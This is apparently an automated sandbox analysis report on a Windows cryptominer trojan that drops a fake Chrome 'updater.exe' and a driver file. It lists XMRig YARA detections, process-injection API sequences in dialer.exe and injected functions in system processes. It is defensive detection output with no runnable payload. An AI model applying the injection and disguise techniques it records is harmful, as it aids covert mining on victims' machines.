Source: 20.2.updater.exe.7ff6dd4e1860.6.raw.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 20.2.updater.exe.7ff6dd4e1860.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 20.2.updater.exe.7ff6dd4e1860.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: updater.exe PID: 7012, type: MEMORYSTR Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Contains functionality to call native functions
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C10C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle, 5_2_00007FF67E6C10C0
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A692A7C NtEnumerateValueKey,NtEnumerateValueKey, 8_2_000002EA8A692A7C
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338E26F0 NtQueryDirectoryFileEx,GetFileType,StrCpyW, 9_2_000001CB338E26F0
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338E21CC NtQuerySystemInformation,StrCmpNIW, 9_2_000001CB338E21CC
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF12A7C NtEnumerateValueKey,NtEnumerateValueKey, 11_2_000001C6CEF12A7C
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AA23F0 GetProcessIdOfThread,GetCurrentProcessId,CreateFileW,WriteFile,ReadFile,CloseHandle,NtResumeThread, 16_2_0000020422AA23F0
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AA21CC NtQuerySystemInformation,StrCmpNIW, 16_2_0000020422AA21CC
Source: C:\Windows\System32\dialer.exe Code function: 26_2_00007FF6101910C0 OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle, 26_2_00007FF6101910C0
Creates driver files
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe File created: C:\Users\user\AppData\Roaming\Google\Libs\WR64.sys Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C2328 5_2_00007FF67E6C2328
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C14E4 5_2_00007FF67E6C14E4
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C1DB4 5_2_00007FF67E6C1DB4
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C26E8 5_2_00007FF67E6C26E8
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A66B030 8_2_000002EA8A66B030
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6620DC 8_2_000002EA8A6620DC
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A671658 8_2_000002EA8A671658
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A66B23C 8_2_000002EA8A66B23C
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A66F2F8 8_2_000002EA8A66F2F8
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A69BC30 8_2_000002EA8A69BC30
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A692CDC 8_2_000002EA8A692CDC
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6A2258 8_2_000002EA8A6A2258
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A69BE3C 8_2_000002EA8A69BE3C
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A69FEF8 8_2_000002EA8A69FEF8
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6EB030 8_2_000002EA8A6EB030
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6E20DC 8_2_000002EA8A6E20DC
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6F1658 8_2_000002EA8A6F1658
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6EB23C 8_2_000002EA8A6EB23C
Source: C:\Windows\System32\winlogon.exe Code function: 8_2_000002EA8A6EF2F8 8_2_000002EA8A6EF2F8
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338BB030 9_2_000001CB338BB030
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338BF2F8 9_2_000001CB338BF2F8
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338BB23C 9_2_000001CB338BB23C
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338C1658 9_2_000001CB338C1658
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338B20DC 9_2_000001CB338B20DC
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338EBC30 9_2_000001CB338EBC30
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338EFEF8 9_2_000001CB338EFEF8
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338EBE3C 9_2_000001CB338EBE3C
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338F2258 9_2_000001CB338F2258
Source: C:\Windows\System32\lsass.exe Code function: 9_2_000001CB338E2CDC 9_2_000001CB338E2CDC
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E0279F2F8 10_2_0000026E0279F2F8
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E0279B030 10_2_0000026E0279B030
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027920DC 10_2_0000026E027920DC
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027A1658 10_2_0000026E027A1658
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E0279B23C 10_2_0000026E0279B23C
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027CFEF8 10_2_0000026E027CFEF8
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027CBC30 10_2_0000026E027CBC30
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027C2CDC 10_2_0000026E027C2CDC
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027D2258 10_2_0000026E027D2258
Source: C:\Windows\System32\svchost.exe Code function: 10_2_0000026E027CBE3C 10_2_0000026E027CBE3C
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEEE20DC 11_2_000001C6CEEE20DC
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEEEB030 11_2_000001C6CEEEB030
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEEEF2F8 11_2_000001C6CEEEF2F8
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEEF1658 11_2_000001C6CEEF1658
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEEEB23C 11_2_000001C6CEEEB23C
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF12CDC 11_2_000001C6CEF12CDC
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF1BC30 11_2_000001C6CEF1BC30
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF1FEF8 11_2_000001C6CEF1FEF8
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF22258 11_2_000001C6CEF22258
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF1BE3C 11_2_000001C6CEF1BE3C
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF420DC 11_2_000001C6CEF420DC
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF4B030 11_2_000001C6CEF4B030
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF4F2F8 11_2_000001C6CEF4F2F8
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF51658 11_2_000001C6CEF51658
Source: C:\Windows\System32\dwm.exe Code function: 11_2_000001C6CEF4B23C 11_2_000001C6CEF4B23C
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304F820DC 12_2_0000025304F820DC
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304F8B030 12_2_0000025304F8B030
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304F91658 12_2_0000025304F91658
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304F8B23C 12_2_0000025304F8B23C
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304F8F2F8 12_2_0000025304F8F2F8
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FB2CDC 12_2_0000025304FB2CDC
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FBBC30 12_2_0000025304FBBC30
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FC2258 12_2_0000025304FC2258
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FBBE3C 12_2_0000025304FBBE3C
Source: C:\Windows\System32\svchost.exe Code function: 12_2_0000025304FBFEF8 12_2_0000025304FBFEF8
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2113B030 13_2_0000016C2113B030
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211320DC 13_2_0000016C211320DC
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2113F2F8 13_2_0000016C2113F2F8
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2113B23C 13_2_0000016C2113B23C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C21141658 13_2_0000016C21141658
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2116BC30 13_2_0000016C2116BC30
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C21162CDC 13_2_0000016C21162CDC
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2116FEF8 13_2_0000016C2116FEF8
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C2116BE3C 13_2_0000016C2116BE3C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C21172258 13_2_0000016C21172258
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211CBC30 13_2_0000016C211CBC30
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211C2CDC 13_2_0000016C211C2CDC
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211CFEF8 13_2_0000016C211CFEF8
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211CBE3C 13_2_0000016C211CBE3C
Source: C:\Windows\System32\svchost.exe Code function: 13_2_0000016C211D2258 13_2_0000016C211D2258
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F47BDB030 14_2_0000026F47BDB030
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F47BDF2F8 14_2_0000026F47BDF2F8
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F47BDB23C 14_2_0000026F47BDB23C
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F47BE1658 14_2_0000026F47BE1658
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F47BD20DC 14_2_0000026F47BD20DC
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F48142CDC 14_2_0000026F48142CDC
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F4814BE3C 14_2_0000026F4814BE3C
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F48152258 14_2_0000026F48152258
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F4814FEF8 14_2_0000026F4814FEF8
Source: C:\Windows\System32\svchost.exe Code function: 14_2_0000026F4814BC30 14_2_0000026F4814BC30
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B91DD20DC 15_2_0000029B91DD20DC
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B91DDB030 15_2_0000029B91DDB030
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B91DDF2F8 15_2_0000029B91DDF2F8
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B91DE1658 15_2_0000029B91DE1658
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B91DDB23C 15_2_0000029B91DDB23C
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B92352258 15_2_0000029B92352258
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B9234BE3C 15_2_0000029B9234BE3C
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B9234FEF8 15_2_0000029B9234FEF8
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B9234BC30 15_2_0000029B9234BC30
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B92342CDC 15_2_0000029B92342CDC
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923B2258 15_2_0000029B923B2258
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923ABE3C 15_2_0000029B923ABE3C
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923AFEF8 15_2_0000029B923AFEF8
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923ABC30 15_2_0000029B923ABC30
Source: C:\Windows\System32\svchost.exe Code function: 15_2_0000029B923A2CDC 15_2_0000029B923A2CDC
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AABC30 16_2_0000020422AABC30
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AA2CDC 16_2_0000020422AA2CDC
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AABE3C 16_2_0000020422AABE3C
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AB2258 16_2_0000020422AB2258
Source: C:\Windows\System32\svchost.exe Code function: 16_2_0000020422AAFEF8 16_2_0000020422AAFEF8
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287BBE3C 17_2_00000206287BBE3C
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287C2258 17_2_00000206287C2258
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287BFEF8 17_2_00000206287BFEF8
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287BBC30 17_2_00000206287BBC30
Source: C:\Windows\System32\svchost.exe Code function: 17_2_00000206287B2CDC 17_2_00000206287B2CDC
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847125B23C 20_2_000002847125B23C
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_0000028471261658 20_2_0000028471261658
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847125F2F8 20_2_000002847125F2F8
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847125B030 20_2_000002847125B030
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_00000284712520DC 20_2_00000284712520DC
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847139BE3C 20_2_000002847139BE3C
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_00000284713A2258 20_2_00000284713A2258
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847139FEF8 20_2_000002847139FEF8
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847139BC30 20_2_000002847139BC30
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_0000028471392CDC 20_2_0000028471392CDC
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847197F2F8 20_2_000002847197F2F8
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847197B23C 20_2_000002847197B23C
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_0000028471981658 20_2_0000028471981658
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_00000284719720DC 20_2_00000284719720DC
Source: C:\Users\user\AppData\Roaming\Google\Chrome\updater.exe Code function: 20_2_000002847197B030 20_2_000002847197B030
Source: C:\Windows\System32\svchost.exe Code function: 21_2_00000182924DB030 21_2_00000182924DB030
Source: C:\Windows\System32\svchost.exe Code function: 21_2_00000182924D20DC 21_2_00000182924D20DC
Source: C:\Windows\System32\svchost.exe Code function: 21_2_00000182924DB23C 21_2_00000182924DB23C
Source: C:\Windows\System32\svchost.exe Code function: 21_2_00000182924E1658 21_2_00000182924E1658
Source: C:\Windows\System32\svchost.exe Code function: 21_2_00000182924DF2F8 21_2_00000182924DF2F8
Source: C:\Windows\System32\svchost.exe Code function: 21_2_000001829254BC30 21_2_000001829254BC30
Source: C:\Windows\System32\svchost.exe Code function: 21_2_0000018292542CDC 21_2_0000018292542CDC
Source: C:\Windows\System32\svchost.exe Code function: 21_2_000001829254BE3C 21_2_000001829254BE3C
Source: C:\Windows\System32\svchost.exe Code function: 21_2_0000018292552258 21_2_0000018292552258
Source: C:\Windows\System32\svchost.exe Code function: 21_2_000001829254FEF8 21_2_000001829254FEF8
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA6BC30 24_2_000001BB3DA6BC30
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA6FEF8 24_2_000001BB3DA6FEF8
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA6BE3C 24_2_000001BB3DA6BE3C
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA72258 24_2_000001BB3DA72258
Source: C:\Windows\System32\svchost.exe Code function: 24_2_000001BB3DA62CDC 24_2_000001BB3DA62CDC
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF4BC30 25_2_0000029ABCF4BC30
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF42CDC 25_2_0000029ABCF42CDC
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF52258 25_2_0000029ABCF52258
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF4BE3C 25_2_0000029ABCF4BE3C
Source: C:\Windows\System32\svchost.exe Code function: 25_2_0000029ABCF4FEF8 25_2_0000029ABCF4FEF8
Source: C:\Windows\System32\dialer.exe Code function: 26_2_00007FF6101914E4 26_2_00007FF6101914E4
Source: C:\Windows\System32\dialer.exe Code function: 26_2_00007FF610192328 26_2_00007FF610192328
Source: C:\Windows\System32\dialer.exe Code function: 26_2_00007FF610191DB4 26_2_00007FF610191DB4
Source: C:\Windows\System32\dialer.exe Code function: 26_2_00007FF6101926E8 26_2_00007FF6101926E8
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DAB030 28_2_0000025E81DAB030
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DAF2F8 28_2_0000025E81DAF2F8
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DAB23C 28_2_0000025E81DAB23C
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DB1658 28_2_0000025E81DB1658
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DA20DC 28_2_0000025E81DA20DC
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DDBC30 28_2_0000025E81DDBC30
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DDFEF8 28_2_0000025E81DDFEF8
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DDBE3C 28_2_0000025E81DDBE3C
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DE2258 28_2_0000025E81DE2258
Source: C:\Windows\System32\conhost.exe Code function: 28_2_0000025E81DD2CDC 28_2_0000025E81DD2CDC
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD5F2F8 29_2_000001CD9AD5F2F8
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD5B23C 29_2_000001CD9AD5B23C
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD61658 29_2_000001CD9AD61658
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD520DC 29_2_000001CD9AD520DC
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD5B030 29_2_000001CD9AD5B030
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD8FEF8 29_2_000001CD9AD8FEF8
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD8BE3C 29_2_000001CD9AD8BE3C
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD92258 29_2_000001CD9AD92258
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD82CDC 29_2_000001CD9AD82CDC
Source: C:\Windows\System32\svchost.exe Code function: 29_2_000001CD9AD8BC30 29_2_000001CD9AD8BC30
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C3620DC 31_2_000002AF8C3620DC
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C36B23C 31_2_000002AF8C36B23C
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C371658 31_2_000002AF8C371658
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C36F2F8 31_2_000002AF8C36F2F8
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C36B030 31_2_000002AF8C36B030
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C392CDC 31_2_000002AF8C392CDC
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C39BE3C 31_2_000002AF8C39BE3C
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C3A2258 31_2_000002AF8C3A2258
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C39FEF8 31_2_000002AF8C39FEF8
Source: C:\Windows\System32\svchost.exe Code function: 31_2_000002AF8C39BC30 31_2_000002AF8C39BC30
PE file contains more sections than normal
Source: h2qWqtD73F.exe Static PE information: Number of sections : 11 > 10
Source: updater.exe.0.dr Static PE information: Number of sections : 11 > 10
Yara signature match
Source: 20.2.updater.exe.7ff6dd49ea80.7.raw.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 20.2.updater.exe.7ff6dd49ea80.7.raw.unpack, type: UNPACKEDPE Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 20.2.updater.exe.7ff6dd49ea80.7.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 20.2.updater.exe.7ff6dd480000.4.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 20.2.updater.exe.7ff6dd480000.4.unpack, type: UNPACKEDPE Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 20.2.updater.exe.7ff6dd480000.4.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 20.2.updater.exe.7ff6dd4bfc40.5.raw.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 20.2.updater.exe.7ff6dd4bfc40.5.raw.unpack, type: UNPACKEDPE Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 20.2.updater.exe.7ff6dd4bfc40.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 20.2.updater.exe.7ff6dd4e1860.6.raw.unpack, type: UNPACKEDPE Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 20.2.updater.exe.7ff6dd4e1860.6.raw.unpack, type: UNPACKEDPE Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 20.2.updater.exe.7ff6dd4e1860.6.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 00000014.00000002.1586148880.00007FF6DD49B000.00000004.00000001.01000000.00000008.sdmp, type: MEMORY Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: Process Memory Space: updater.exe PID: 7012, type: MEMORYSTR Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: classification engine Classification label: mal100.troj.evad.mine.winEXE@22/79@0/0
Source: C:\Windows\System32\dialer.exe Code function: 5_2_00007FF67E6C2328 VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,GetCurrentProcessId,OpenProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,FindResourceExA,SizeofResource,LoadResource,LockResource,GetCurrentProcessId,RegCreateKeyExW,ConvertStringSecurityDescriptorToSecurityDescriptorW,RegSetKeySecurity,LocalFree,RegCreateKeyExW,GetCurrentProcessId,RegSetValueExW,RegCloseKey,RegCloseKey,CreateThread,GetProcessHeap,HeapAlloc,CreateThread,CreateThread,SleepEx, 5_2_00007FF67E6C2328
